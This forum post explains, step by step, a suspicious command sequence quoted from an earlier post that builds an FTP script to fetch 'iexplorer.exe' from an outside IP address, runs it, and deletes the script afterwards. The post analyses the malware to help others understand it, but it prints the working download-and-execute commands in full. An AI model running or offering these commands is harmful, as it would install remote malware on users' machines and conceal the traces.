I didn't read all pages so I don't know if anybody already said this, but here's what, according to the text in the OP, is going on.
What is happening is that some program is trying to download a file named "iexplorer.exe" to your \Windows\system32\ folder and then run it.
However, it's doing this by sending keystrokes directly which should run as cmd commands.
Basically, it seems to fail to open command prompt initially.
start %systemroot%\system32\cmd.exe
A strange way of getting to \Windows\system32 in command prompt.
del eq&echo open 181.166.154.188 7191 >> eq&echo user 16446 10097 >> eq &echo get iexplorer.exe >> eq &echo quit >> eq
If the file eq exists, delete it.
Writes this to a file named eq:
open 181.166.154.188 7191 - connect to some strange FTP server somewhere
user 16446 10097 - login to the FTP server
get iexplorer.exe - download the file iexplorer.exe
quit - exit the FTP client
ftp -n -s:eq
Open Windows' default command line FTP client and execute the commands in the eq file.
iexplorer.exe
Open the downloaded file.
del eq
Delete the file eq (to remove traces?).